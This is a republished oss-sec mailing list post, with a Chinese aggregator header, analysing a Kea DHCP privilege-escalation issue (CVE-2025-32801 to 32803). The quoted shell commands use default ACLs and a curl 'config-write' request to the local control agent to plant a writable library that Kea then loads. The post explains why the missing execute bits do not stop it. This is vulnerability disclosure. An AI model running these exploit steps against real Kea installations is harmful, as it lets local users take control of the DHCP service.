Kea DHCP服务器中的ACL滥用漏洞分析(CVE-2025-32801至CVE-2025-32803)
研究人员利用默认ACL绕过Kea权限限制,在受限目录中成功写入恶意ELF文件。尽管文件不可执行,但Linux mmap允许加载可执行代码。此攻击受AppArmor规则限制。 2025-5-30 13:23:0 Author: seclists.org(查看原文) 阅读量:38 收藏

oss-sec logo

oss-sec mailing list archives


From: Matthias Gerstner <mgerstner () suse de>
Date: Fri, 30 May 2025 15:20:35 +0200

Hi,

On Fri, May 30, 2025 at 10:11:51AM +0200, Matthias Gerstner wrote:
Default ACLs to the rescue!

$ chmod a+x ~
$ mkdir -m 777 ~/.Private
$ setfacl -d -m u:$LOGNAME:rwx ~/.Private/
$ curl -s -H "Content-Type: application/json" -d '{ "command": "config-write", "arguments": { "filename": 
"'"$HOME"'/.Private/libexploit.so" } }' localhost:8000 > /dev/null
$ echo pwned > ~/.Private/libexploit.so
$ ls -l ~/.Private/libexploit.so
-rw-rw-rw-+ 1 _kea _kea 6 May 28 18:15 /home/jwilk/.Private/libexploit.so
$ cat ~/.Private/libexploit.so
pwned

very nice addition! We already felt like there was little left to
succeed in the attack, but didn't think of ACLs.

I just checked this attack vector more closely.

The resulting file receives the mode 0666, because bits missing in the
`mode` argument passed to `openat()` are masked out. The strace of
`kea-ctrl-agent` looks like this in this scenario:

    openat(AT_FDCWD, "/home/<user>/.Private/libexploit.so", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 14

The missing executable bits are no obstacle, however, because on Linux
`mmap()` allows mapping executable code even if the underlying file is
not executable.

Writing a valid ELF file into the "configuration file" created by Kea
works e.g. like this:

    $ cat librealexploit.so >~/.Private/libexploit.so

With this, the library can successfully be loaded by Kea and the exploit
code starts to run. The code execution in this context is still itself
limited by the AppArmor rules, however. It is enough to fully control
all Kea state on disk.

Cheers

Matthias

Attachment: signature.asc
Description:


Current thread:


文章来源: https://seclists.org/oss-sec/2025/q2/186
如有侵权请联系:admin#unsafe.sh